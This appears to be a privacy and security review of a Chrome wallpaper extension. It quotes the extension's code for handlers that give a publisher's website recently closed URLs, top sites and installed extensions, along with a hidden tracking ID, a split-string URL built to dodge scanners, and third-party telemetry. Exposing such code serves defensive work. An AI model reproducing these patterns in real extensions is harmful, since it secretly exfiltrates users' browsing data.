Anthony Davis HD Wallpapers New Tab Theme

Any page served from *.sportsfantab.com can send an external message with `{module:'uninstall', action:'uninstall'}` and force the extension to call `chrome.management.uninstallSelf()`. There is zero sender verification—the check is only on the `module` string, not on the sender's origin beyond what `externally_connectable` grants. This gives the publisher's website direct remote-control over extension lifecycle, a capability that has no legitimate justification in a wallpaper product.

chrome.runtime.onMessageExternal.addListener(function(request, sender, sendResponse) {  if (request.module !== 'uninstall') {    return;  }  if (request.action === 'checkAvailable') {    sendResponse('true');  }  if (request.action === 'uninstall') {    chrome.management.uninstallSelf({      'showConfirmDialog': true    });    return true;  }});

Any page on sportsfantab.com can call this external message handler to receive the full `FRAMEWORK_RECENTLY_CLOSED_URLS_CACHE` array—an in-memory record of every URL the user closed (title, URL, and favicon), accumulated by `trackClosedUrls()` listening to `chrome.tabs.onRemoved`. The cache is then wiped after delivery (line 22-24), making this a consume-once covert channel. No privacy collection category for browsing history is disclosed in the CWS listing.

chrome.runtime.onMessageExternal.addListener(function(request, sender, sendResponse) {      if (request.module !== 'recently-closed') {        return;      }      if (request.action === 'get-recently-closed') {        chrome.storage.local.get('FRAMEWORK_RECENTLY_CLOSED_URLS_CACHE', function(items) {          chrome.storage.local.set({            'FRAMEWORK_RECENTLY_CLOSED_URLS_CACHE': []          }, function() {            sendResponse(items);          });        });        return true;      }

Any page on sportsfantab.com can request the user's `topSites` (most visited URLs with visit counts) through this external message handler and receive the raw `chrome.topSites.get` result. Exposing the user's most-visited-URL profile to a remote website—outside the new tab page itself—is undisclosed browsing-pattern exfiltration. The wallpaper extension has no need to push this data off-device to a web page.

chrome.runtime.onMessageExternal.addListener(function(request, sender, sendResponse) {      if (request.module !== 'most-visited') {        return;      }      if (request.action === 'topSites') {        chrome.topSites.get(sendResponse);        return true;      }

At `document_start` on every sportsfantab.com page, a hidden `<section>` element is injected carrying `data-user-id`, `data-campaign-id`, `data-ext-id`, `data-one-id`, `data-version`, and `data-name` attributes. The `user_id` is a persistent random fingerprint generated on install (`background/js/modules/install.js` lines 36-57) and `campaign_id` is an acquisition-source tag. Injecting these into the page DOM bridges the extension's tracking identifier with sportsfantab.com's own JavaScript context, enabling cross-session identity linkage without any user consent or disclosure.

var sNode = document.createElement('section');sNode.setAttribute('style', 'display: none;');sNode.setAttribute('data-my' + 'start' + '-one', 'new-tab');for (var y in response.domInfo) {  sNode.setAttribute('data-' + y.replace(/[^a-z0-9]+/ig, '-'), response.domInfo[y] !== null ? response    .domInfo[y] : '');}document.documentElement.insertBefore(sNode, null);

Any page on sportsfantab.com can trigger this handler to receive a full `chrome.management.getAll()` list of every installed and enabled extension—including extension IDs, names, versions, and base64-encoded icons. This constitutes browser fingerprinting and undisclosed collection of the user's installed-software inventory. No CWS privacy disclosure covers this data type.

chrome.runtime.onMessageExternal.addListener(function(request, sender, sendResponse) {  if (request.module !== 'conflicting') {    return;  }  if (request.action === 'allExtensions') {    getAll(sendResponse);    return true;  }});// ...var getAppList = function(callback) {  app_list = CUSTOM_APPS.concat();  chrome.management.getAll(function(results) {    for (var i = 0; i < results.length; i++) {      if (!results[i].enabled)        continue;      app_list.push(makeIcons(results[i]));    }  });};

The mystart.com tracking URL is deliberately assembled from six string fragments (`'http://one.my'+'start'+'.com/my'+'start'+'-one://'`) rather than written as a literal. This splitting pattern is not produced by Webpack, Rollup, Terser, or any standard bundler—it is a hand-authored technique to defeat static-analysis regex patterns that look for mystart.com references. The same split appears again at line 170 for page-view tracking, confirming it is intentional obfuscation.

var url = 'http://one.my' + 'start' + '.com/my' + 'start' + '-one://' + config.ext.id +  '/background/?' + trackers[t].action;// Piwik Campaign Trackerif (trackers[t].type === 'piwik' && cid)  url += '&pk_campaign=' + cid;

Behavioural telemetry—including the persistent `user_id`, `campaign_id`, `org_id`, `project_id`, and extension version—is POSTed to `analytics.vmn.net/piwik.php` on every page view and user event. `vmn.net` is not the publisher's domain (sportsfantab.com / mystart.com), is not a well-known first-party analytics SaaS in the standard exemption list, and no data-collection category covering this tracking is disclosed in the CWS listing. This is undisclosed third-party behavioural profiling.

var SERVICES = {  google: function(siteId) {    return GoogleAnalytics.getTracker('https://ssl.google-analytics.com/collect', siteId);  },  piwik: function(siteId) {    return PiwikAnalytics.getTracker('https://analytics.vmn.net/piwik.php', siteId);  },};